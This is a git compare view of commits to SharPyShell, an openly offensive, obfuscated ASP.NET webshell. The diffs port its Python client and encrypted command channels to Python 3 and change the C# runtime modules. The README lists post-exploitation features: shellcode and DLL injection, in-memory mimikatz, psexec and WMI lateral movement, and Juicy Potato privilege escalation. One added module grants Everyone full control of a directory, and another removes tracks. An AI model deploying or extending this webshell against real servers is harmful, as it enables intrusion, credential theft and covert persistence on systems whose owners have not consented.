mirror of
https://github.com/antonioCoco/SharPyShell
synced 2026-06-08 13:11:44 +00:00
Compare commits
60 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 2971822579 | |||
| ea48f35900 | |||
| b58f918c83 | |||
| 84e1ff5f5a | |||
| 958c4012ab | |||
| c531349339 | |||
| e9a2f4e143 | |||
| 34cbffe372 | |||
| 7f14642572 | |||
| 3ef41ac7d2 | |||
| 7bab60cc39 | |||
| b234d3b007 | |||
| 56f4289ab4 | |||
| 4125280223 | |||
| a463ec57e2 | |||
| 0a0462ffa7 | |||
| 29a69d76e3 | |||
| 318a8dc382 | |||
| d6b3f41ff2 | |||
| da6b20abf2 | |||
| d70c21e1e6 | |||
| 300b956a14 | |||
| 4677dd1be3 | |||
| 0f4d0e460b | |||
| acdcd8d31f | |||
| 477c30e77d | |||
| 2d254cbd48 | |||
| 51f97b75f0 | |||
| 71a60a4fc2 | |||
| 9835c7b150 | |||
| de18c20beb | |||
| 9e0ceb7540 | |||
| 39e931ff27 | |||
| 3f4c530c67 | |||
| 320739f6a6 | |||
| 691ba7e08b | |||
| cbd1e1f47e | |||
| 5a2a242572 | |||
| 4a781f43e4 | |||
| cd71cb7959 | |||
| 8312be89b7 | |||
| 96f26bfce5 | |||
| dad54643a7 | |||
| 78b96b4a6e | |||
| 041afaf871 | |||
| ecd41c8de0 | |||
| 7b1db7bdb0 | |||
| 6576e04c71 | |||
| b5429762b2 | |||
| 2209ef9f5f | |||
| 8f7af5d05c | |||
| 0592d0cbf5 | |||
| 6524f3c4e8 | |||
| eb697924ef | |||
| 45ce4bea63 | |||
| edb4ef5011 | |||
| e59c27f559 | |||
| a618bd17bc | |||
| f101d52fb5 | |||
| 0ba50b53df |
+395
@@ -1,7 +1,402 @@
|
|||||||
|
#custom ignores
|
||||||
|
|
||||||
*.pyc
|
*.pyc
|
||||||
.idea/
|
.idea/
|
||||||
|
venv/
|
||||||
|
|
||||||
# exclude everything
|
# exclude everything
|
||||||
output/*
|
output/*
|
||||||
# exception to the rule
|
# exception to the rule
|
||||||
!output/.gitkeep
|
!output/.gitkeep
|
||||||
|
|
||||||
|
|
||||||
|
# Visual Studio template
|
||||||
|
|
||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
##
|
||||||
|
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.rsuser
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.userosscache
|
||||||
|
*.sln.docstates
|
||||||
|
|
||||||
|
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||||
|
*.userprefs
|
||||||
|
|
||||||
|
# Mono auto generated files
|
||||||
|
mono_crash.*
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
[Dd]ebug/
|
||||||
|
[Dd]ebugPublic/
|
||||||
|
[Rr]elease/
|
||||||
|
[Rr]eleases/
|
||||||
|
x64/
|
||||||
|
x86/
|
||||||
|
[Ww][Ii][Nn]32/
|
||||||
|
[Aa][Rr][Mm]/
|
||||||
|
[Aa][Rr][Mm]64/
|
||||||
|
bld/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
||||||
|
[Ll]og/
|
||||||
|
[Ll]ogs/
|
||||||
|
|
||||||
|
# Visual Studio 2015/2017 cache/options directory
|
||||||
|
.vs/
|
||||||
|
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||||
|
#wwwroot/
|
||||||
|
|
||||||
|
# Visual Studio 2017 auto generated files
|
||||||
|
Generated\ Files/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
|
||||||
|
# NUnit
|
||||||
|
*.VisualState.xml
|
||||||
|
TestResult.xml
|
||||||
|
nunit-*.xml
|
||||||
|
|
||||||
|
# Build Results of an ATL Project
|
||||||
|
[Dd]ebugPS/
|
||||||
|
[Rr]eleasePS/
|
||||||
|
dlldata.c
|
||||||
|
|
||||||
|
# Benchmark Results
|
||||||
|
BenchmarkDotNet.Artifacts/
|
||||||
|
|
||||||
|
# .NET Core
|
||||||
|
project.lock.json
|
||||||
|
project.fragment.lock.json
|
||||||
|
artifacts/
|
||||||
|
|
||||||
|
# ASP.NET Scaffolding
|
||||||
|
ScaffoldingReadMe.txt
|
||||||
|
|
||||||
|
# StyleCop
|
||||||
|
StyleCopReport.xml
|
||||||
|
|
||||||
|
# Files built by Visual Studio
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*_h.h
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.iobj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.ipdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*_wpftmp.csproj
|
||||||
|
*.log
|
||||||
|
*.tlog
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.svclog
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Chutzpah Test files
|
||||||
|
_Chutzpah*
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opendb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
*.VC.db
|
||||||
|
*.VC.VC.opendb
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
*.sap
|
||||||
|
|
||||||
|
# Visual Studio Trace Files
|
||||||
|
*.e2e
|
||||||
|
|
||||||
|
# TFS 2012 Local Workspace
|
||||||
|
$tf/
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
*.DotSettings.user
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# AxoCover is a Code Coverage Tool
|
||||||
|
.axoCover/*
|
||||||
|
!.axoCover/settings.json
|
||||||
|
|
||||||
|
# Coverlet is a free, cross platform Code Coverage Tool
|
||||||
|
coverage*.json
|
||||||
|
coverage*.xml
|
||||||
|
coverage*.info
|
||||||
|
|
||||||
|
# Visual Studio code coverage results
|
||||||
|
*.coverage
|
||||||
|
*.coveragexml
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
_NCrunch_*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
nCrunchTemp_*
|
||||||
|
|
||||||
|
# MightyMoose
|
||||||
|
*.mm.*
|
||||||
|
AutoTest.Net/
|
||||||
|
|
||||||
|
# Web workbench (sass)
|
||||||
|
.sass-cache/
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.azurePubxml
|
||||||
|
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||||
|
# but database connection strings (with potential passwords) will be unencrypted
|
||||||
|
*.pubxml
|
||||||
|
*.publishproj
|
||||||
|
|
||||||
|
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||||
|
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||||
|
# in these scripts will be unencrypted
|
||||||
|
PublishScripts/
|
||||||
|
|
||||||
|
# NuGet Packages
|
||||||
|
*.nupkg
|
||||||
|
# NuGet Symbol Packages
|
||||||
|
*.snupkg
|
||||||
|
# The packages folder can be ignored because of Package Restore
|
||||||
|
**/[Pp]ackages/*
|
||||||
|
# except build/, which is used as an MSBuild target.
|
||||||
|
!**/[Pp]ackages/build/
|
||||||
|
# Uncomment if necessary however generally it will be regenerated when needed
|
||||||
|
#!**/[Pp]ackages/repositories.config
|
||||||
|
# NuGet v3's project.json files produces more ignorable files
|
||||||
|
*.nuget.props
|
||||||
|
*.nuget.targets
|
||||||
|
|
||||||
|
# Nuget personal access tokens and Credentials
|
||||||
|
nuget.config
|
||||||
|
|
||||||
|
# Microsoft Azure Build Output
|
||||||
|
csx/
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Microsoft Azure Emulator
|
||||||
|
ecf/
|
||||||
|
rcf/
|
||||||
|
|
||||||
|
# Windows Store app package directories and files
|
||||||
|
AppPackages/
|
||||||
|
BundleArtifacts/
|
||||||
|
Package.StoreAssociation.xml
|
||||||
|
_pkginfo.txt
|
||||||
|
*.appx
|
||||||
|
*.appxbundle
|
||||||
|
*.appxupload
|
||||||
|
|
||||||
|
# Visual Studio cache files
|
||||||
|
# files ending in .cache can be ignored
|
||||||
|
*.[Cc]ache
|
||||||
|
# but keep track of directories ending in .cache
|
||||||
|
!?*.[Cc]ache/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
ClientBin/
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.dbproj.schemaview
|
||||||
|
*.jfm
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
orleans.codegen.cs
|
||||||
|
|
||||||
|
# Including strong name files can present a security risk
|
||||||
|
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||||
|
#*.snk
|
||||||
|
|
||||||
|
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||||
|
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||||
|
#bower_components/
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file
|
||||||
|
# to a newer Visual Studio version. Backup files are not needed,
|
||||||
|
# because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
ServiceFabricBackup/
|
||||||
|
*.rptproj.bak
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
*.mdf
|
||||||
|
*.ldf
|
||||||
|
*.ndf
|
||||||
|
|
||||||
|
# Business Intelligence projects
|
||||||
|
*.rdl.data
|
||||||
|
*.bim.layout
|
||||||
|
*.bim_*.settings
|
||||||
|
*.rptproj.rsuser
|
||||||
|
*- [Bb]ackup.rdl
|
||||||
|
*- [Bb]ackup ([0-9]).rdl
|
||||||
|
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||||
|
|
||||||
|
# Microsoft Fakes
|
||||||
|
FakesAssemblies/
|
||||||
|
|
||||||
|
# GhostDoc plugin setting file
|
||||||
|
*.GhostDoc.xml
|
||||||
|
|
||||||
|
# Node.js Tools for Visual Studio
|
||||||
|
.ntvs_analysis.dat
|
||||||
|
node_modules/
|
||||||
|
|
||||||
|
# Visual Studio 6 build log
|
||||||
|
*.plg
|
||||||
|
|
||||||
|
# Visual Studio 6 workspace options file
|
||||||
|
*.opt
|
||||||
|
|
||||||
|
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||||
|
*.vbw
|
||||||
|
|
||||||
|
# Visual Studio LightSwitch build output
|
||||||
|
**/*.HTMLClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/ModelManifest.xml
|
||||||
|
**/*.Server/GeneratedArtifacts
|
||||||
|
**/*.Server/ModelManifest.xml
|
||||||
|
_Pvt_Extensions
|
||||||
|
|
||||||
|
# Paket dependency manager
|
||||||
|
.paket/paket.exe
|
||||||
|
paket-files/
|
||||||
|
|
||||||
|
# FAKE - F# Make
|
||||||
|
.fake/
|
||||||
|
|
||||||
|
# CodeRush personal settings
|
||||||
|
.cr/personal
|
||||||
|
|
||||||
|
# Python Tools for Visual Studio (PTVS)
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
|
||||||
|
# Cake - Uncomment if you are using it
|
||||||
|
# tools/**
|
||||||
|
# !tools/packages.config
|
||||||
|
|
||||||
|
# Tabs Studio
|
||||||
|
*.tss
|
||||||
|
|
||||||
|
# Telerik's JustMock configuration file
|
||||||
|
*.jmconfig
|
||||||
|
|
||||||
|
# BizTalk build output
|
||||||
|
*.btp.cs
|
||||||
|
*.btm.cs
|
||||||
|
*.odx.cs
|
||||||
|
*.xsd.cs
|
||||||
|
|
||||||
|
# OpenCover UI analysis results
|
||||||
|
OpenCover/
|
||||||
|
|
||||||
|
# Azure Stream Analytics local run output
|
||||||
|
ASALocalRun/
|
||||||
|
|
||||||
|
# MSBuild Binary and Structured Log
|
||||||
|
*.binlog
|
||||||
|
|
||||||
|
# NVidia Nsight GPU debugger configuration file
|
||||||
|
*.nvuser
|
||||||
|
|
||||||
|
# MFractors (Xamarin productivity tool) working folder
|
||||||
|
.mfractor/
|
||||||
|
|
||||||
|
# Local History for Visual Studio
|
||||||
|
.localhistory/
|
||||||
|
|
||||||
|
# BeatPulse healthcheck temp database
|
||||||
|
healthchecksdb
|
||||||
|
|
||||||
|
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||||
|
MigrationBackup/
|
||||||
|
|
||||||
|
# Ionide (cross platform F# VS Code tools) working folder
|
||||||
|
.ionide/
|
||||||
|
|
||||||
|
# Fody - auto-generated XML schema
|
||||||
|
FodyWeavers.xsd
|
||||||
|
|
||||||
|
# VS Code files for those working on multiple tools
|
||||||
|
.vscode/*
|
||||||
|
!.vscode/settings.json
|
||||||
|
!.vscode/tasks.json
|
||||||
|
!.vscode/launch.json
|
||||||
|
!.vscode/extensions.json
|
||||||
|
*.code-workspace
|
||||||
|
|
||||||
|
# Local History for Visual Studio Code
|
||||||
|
.history/
|
||||||
|
|
||||||
|
# Windows Installer files from build outputs
|
||||||
|
*.cab
|
||||||
|
*.msi
|
||||||
|
*.msix
|
||||||
|
*.msm
|
||||||
|
*.msp
|
||||||
|
|
||||||
|
# JetBrains Rider
|
||||||
|
.idea/
|
||||||
|
*.sln.iml
|
||||||
@@ -1,5 +1,9 @@
|
|||||||
# SharPyShell
|
# SharPyShell
|
||||||
|
|
||||||
|
<p align="center"><img src="logo.png" width="500" height="300" /></p>
|
||||||
|
|
||||||
|
<hr/>
|
||||||
|
|
||||||
SharPyShell is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.
|
SharPyShell is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.
|
||||||
|
|
||||||
SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0<br>VB is not supported atm.
|
SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0<br>VB is not supported atm.
|
||||||
@@ -7,18 +11,18 @@ SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0
|
|||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
```
|
```
|
||||||
python SharPyShell.py generate -p somepassword
|
python3 SharPyShell.py generate -p somepassword
|
||||||
python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword
|
python3 SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword
|
||||||
```
|
```
|
||||||
|
|
||||||
## Requirements
|
## Requirements
|
||||||
|
|
||||||
Python version >= 2.7
|
Python version >= 3.6
|
||||||
|
|
||||||
and
|
and
|
||||||
|
|
||||||
```
|
```
|
||||||
pip install -r requirements.txt
|
pip3 install -r requirements.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
## Description
|
## Description
|
||||||
@@ -98,13 +102,16 @@ Generated with asciiflow.com
|
|||||||
#download Download a file from the server
|
#download Download a file from the server
|
||||||
#exec_cmd Run a cmd.exe /c command on the server
|
#exec_cmd Run a cmd.exe /c command on the server
|
||||||
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
|
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
|
||||||
|
#inject_dll_reflective Inject a reflective DLL in a new (or existing) process
|
||||||
|
#inject_dll_srdi Inject a generic DLL in a new (or existing) process
|
||||||
|
#inject_shellcode Inject shellcode in a new (or existing) process
|
||||||
#invoke_ps_module Run a ps1 script on the target server
|
#invoke_ps_module Run a ps1 script on the target server
|
||||||
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
|
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
|
||||||
#lateral_psexec Run psexec binary to move laterally
|
#lateral_psexec Run psexec binary to move laterally
|
||||||
#lateral_wmi Run builtin WMI command to move laterally
|
#lateral_wmi Run builtin WMI command to move laterally
|
||||||
#mimikatz Run an offline version of mimikatz directly in memory
|
#mimikatz Run an offline version of mimikatz directly in memory
|
||||||
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
|
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
|
||||||
#privesc_juicy_potato Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
|
#privesc_juicy_potato Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
|
||||||
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
|
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
|
||||||
#runas Run a cmd.exe /c command spawning a new process as a specific user
|
#runas Run a cmd.exe /c command spawning a new process as a specific user
|
||||||
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
|
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
|
||||||
@@ -113,37 +120,13 @@ Generated with asciiflow.com
|
|||||||
|
|
||||||
## Windows version tested
|
## Windows version tested
|
||||||
|
|
||||||
Windows Server 2019 Standard<br>
|
Windows Server >= 2008 Standard x64
|
||||||
  OS Name: Microsoft Windows Server 2019 Standard Evaluation<br>
|
|
||||||
  OS Version: 10.0.17763 N/A Build 17763<br>
|
|
||||||
<br>
|
|
||||||
Windows Server 2016 Standard<br>
|
|
||||||
  OS Name: Microsoft Windows Server 2016 Standard Evaluation<br>
|
|
||||||
  OS Version: 10.0.14393 N/A Build 14393<br>
|
|
||||||
<br>
|
|
||||||
Windows Server 2012 R2 Standard<br>
|
|
||||||
  OS Name: Microsoft Windows Server 2012 R2 Standard<br>
|
|
||||||
  OS Version: 6.3.9600 N/A Build 9600<br>
|
|
||||||
<br>
|
|
||||||
Windows server 2012 Standard<br>
|
|
||||||
  OS Name: Microsoft Windows Server 2012 Standard Evaluation<br>
|
|
||||||
  OS Version: 6.2.9200 N/A Build 9200<br>
|
|
||||||
<br>
|
|
||||||
Windows Server 2008 R2 Standard<br>
|
|
||||||
  OS Name: Microsoft Windows Server 2008 R2 Standard<br>
|
|
||||||
  OS Version: 6.1.7601 Service Pack 1 Build 7601<br>
|
|
||||||
<br>
|
|
||||||
Windows Server 2008 Standard x64<br>
|
|
||||||
  OS Name: Microsoft© Windows Server© 2008 Standard <br>
|
|
||||||
  OS Version: 6.0.6001 Service Pack 1 Build 6001<br>
|
|
||||||
<br>
|
|
||||||
Windows Server 2003 Standard x64 (partial working)<br>
|
|
||||||
  OS Name: Microsoft(R) Windows(R) Server 2003 Standard x64 Edition<br>
|
|
||||||
  OS Version: 5.2.3790 Service Pack 2 Build 3790<br>
|
|
||||||
|
|
||||||
## Credits
|
## Credits
|
||||||
|
|
||||||
<ul>
|
<ul>
|
||||||
|
<li><a href="https://github.com/newfinal100">@newfinal100</a> (for the fancy logo!)</li>
|
||||||
<li><a href="https://github.com/epinna/weevely3">@weevely3</a></li>
|
<li><a href="https://github.com/epinna/weevely3">@weevely3</a></li>
|
||||||
<li><a href="https://github.com/ohpe/juicy-potato">@juicy-potato</a></li>
|
<li><a href="https://github.com/ohpe/juicy-potato">@juicy-potato</a></li>
|
||||||
<li><a href="https://github.com/PowerShellMafia/PowerSploit">@PowerSploit</a></li>
|
<li><a href="https://github.com/PowerShellMafia/PowerSploit">@PowerSploit</a></li>
|
||||||
|
|||||||
+5
-2
@@ -1,4 +1,4 @@
|
|||||||
#!/usr/bin/env python2
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
from core.Generate import Generate
|
from core.Generate import Generate
|
||||||
from core.SharPyShellPrompt import SharPyShellPrompt
|
from core.SharPyShellPrompt import SharPyShellPrompt
|
||||||
@@ -144,7 +144,7 @@ def create_interact_parser(subparsers):
|
|||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
print config.banner
|
print (config.banner)
|
||||||
parser = argparse.ArgumentParser(prog='SharPyShell', formatter_class=argparse.RawTextHelpFormatter,
|
parser = argparse.ArgumentParser(prog='SharPyShell', formatter_class=argparse.RawTextHelpFormatter,
|
||||||
epilog=example_text_main)
|
epilog=example_text_main)
|
||||||
parser.add_argument('--version', action='version', version=config.header)
|
parser.add_argument('--version', action='version', version=config.header)
|
||||||
@@ -153,6 +153,7 @@ if __name__ == '__main__':
|
|||||||
create_interact_parser(subparsers)
|
create_interact_parser(subparsers)
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if args.__contains__('mode'):
|
||||||
if args.mode == 'generate':
|
if args.mode == 'generate':
|
||||||
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
|
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
|
||||||
generate_obj.generate()
|
generate_obj.generate()
|
||||||
@@ -161,3 +162,5 @@ if __name__ == '__main__':
|
|||||||
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
|
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
|
||||||
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
|
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
|
||||||
prompt.cmdloop('\n')
|
prompt.cmdloop('\n')
|
||||||
|
else:
|
||||||
|
parser.print_help()
|
||||||
|
|||||||
+5
-5
@@ -1,5 +1,7 @@
|
|||||||
from utils.Singleton import Singleton
|
from utils.Singleton import Singleton
|
||||||
from Crypto.Cipher import AES
|
from Crypto.Cipher import AES
|
||||||
|
from Crypto.Util.Padding import pad
|
||||||
|
from Crypto.Util.Padding import unpad
|
||||||
|
|
||||||
|
|
||||||
class ChannelAES(Singleton):
|
class ChannelAES(Singleton):
|
||||||
@@ -8,18 +10,16 @@ class ChannelAES(Singleton):
|
|||||||
BS = 16
|
BS = 16
|
||||||
|
|
||||||
def __init__(self, password):
|
def __init__(self, password):
|
||||||
self.hashed_password = password.decode('hex')
|
self.hashed_password = bytes.fromhex(password)
|
||||||
self.IV = self.hashed_password[0:self.BS]
|
self.IV = self.hashed_password[0:self.BS]
|
||||||
|
|
||||||
def encrypt(self, plain_data):
|
def encrypt(self, plain_data):
|
||||||
pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS)
|
plain_data_pad = pad(plain_data, self.BS)
|
||||||
plain_data_pad = pad(plain_data)
|
|
||||||
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
|
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
|
||||||
encrypted_data = aes.encrypt(plain_data_pad)
|
encrypted_data = aes.encrypt(plain_data_pad)
|
||||||
return encrypted_data
|
return encrypted_data
|
||||||
|
|
||||||
def decrypt(self, encrypted_data):
|
def decrypt(self, encrypted_data):
|
||||||
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
|
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
|
||||||
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
|
|
||||||
decrypted_data = aes.decrypt(encrypted_data)
|
decrypted_data = aes.decrypt(encrypted_data)
|
||||||
return unpad(decrypted_data)
|
return unpad(decrypted_data, self.BS)
|
||||||
|
|||||||
+5
-6
@@ -1,17 +1,16 @@
|
|||||||
from utils.Singleton import Singleton
|
from utils.Singleton import Singleton
|
||||||
|
from itertools import cycle
|
||||||
|
|
||||||
class ChannelXOR(Singleton):
|
class ChannelXOR(Singleton):
|
||||||
password = None
|
password = None
|
||||||
|
|
||||||
def __init__(self, password):
|
def __init__(self, password):
|
||||||
self.password = password.encode('utf-8')
|
self.password = password
|
||||||
|
|
||||||
def encrypt(self, plain_data):
|
def encrypt(self, plain_data):
|
||||||
key = self.password
|
key = self.password.encode()
|
||||||
from itertools import izip, cycle
|
xored = b''.join(bytes([(x ^ y)]) for (x, y) in list(zip(plain_data, cycle(key))))
|
||||||
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
|
return xored
|
||||||
return bytearray(xored)
|
|
||||||
|
|
||||||
def decrypt(self, encrypted_data):
|
def decrypt(self, encrypted_data):
|
||||||
return self.encrypt(encrypted_data)
|
return self.encrypt(encrypted_data)
|
||||||
+15
-7
@@ -7,11 +7,11 @@ class GetTempDirectory(Module):
|
|||||||
|
|
||||||
_exception_class = GetTempDirectoryException
|
_exception_class = GetTempDirectoryException
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
string GetTempDirectory()
|
private string GetTempDirectory()
|
||||||
{
|
{
|
||||||
string tempDirectory="";
|
string tempDirectory="";
|
||||||
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp";
|
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp";
|
||||||
@@ -45,11 +45,13 @@ class GetEnvDirectory(Module):
|
|||||||
|
|
||||||
_exception_class = GetEnvDirectoryException
|
_exception_class = GetEnvDirectoryException
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
|
using System.Security.AccessControl;using System.Security.Principal;
|
||||||
|
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
string GetEnvDirectory(string randomName)
|
private string GetEnvDirectory(string randomName)
|
||||||
{
|
{
|
||||||
string envDirectory="";
|
string envDirectory="";
|
||||||
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp" + "\\" + randomName;
|
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp" + "\\" + randomName;
|
||||||
@@ -67,6 +69,12 @@ class GetEnvDirectory(Module):
|
|||||||
envDirectory = @"C:\Windows\Temp";
|
envDirectory = @"C:\Windows\Temp";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if(envDirectory != @"C:\Windows\Temp"){
|
||||||
|
DirectoryInfo dInfo = new DirectoryInfo(envDirectory);
|
||||||
|
DirectorySecurity dSecurity = dInfo.GetAccessControl();
|
||||||
|
dSecurity.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
|
||||||
|
dInfo.SetAccessControl(dSecurity);
|
||||||
|
}
|
||||||
return envDirectory;
|
return envDirectory;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -93,11 +101,11 @@ class ClearDirectories(Module):
|
|||||||
|
|
||||||
_exception_class = ClearDirectoriesException
|
_exception_class = ClearDirectoriesException
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
string ClearDirectories(string[] modulesPath, string envDirectory)
|
private string ClearDirectories(string[] modulesPath, string envDirectory)
|
||||||
{
|
{
|
||||||
string output="";
|
string output="";
|
||||||
for(int i = 0 ; i < modulesPath.Length ; i++)
|
for(int i = 0 ; i < modulesPath.Length ; i++)
|
||||||
@@ -190,7 +198,7 @@ class Environment:
|
|||||||
excluded_path = ['env_directory', 'working_directory']
|
excluded_path = ['env_directory', 'working_directory']
|
||||||
modules_path = ['@"' + v + '"' for k, v in env_settings.items() if k not in excluded_path]
|
modules_path = ['@"' + v + '"' for k, v in env_settings.items() if k not in excluded_path]
|
||||||
modules_path_string_array = '{' + ','.join(modules_path) + '}'
|
modules_path_string_array = '{' + ','.join(modules_path) + '}'
|
||||||
print '\nRemoving tracks....\n'
|
print ('\nRemoving tracks....\n')
|
||||||
result = self.clear_dir_obj.run([modules_path_string_array, env_directory])
|
result = self.clear_dir_obj.run([modules_path_string_array, env_directory])
|
||||||
if '{{{ClearDirectoriesException}}}' not in result:
|
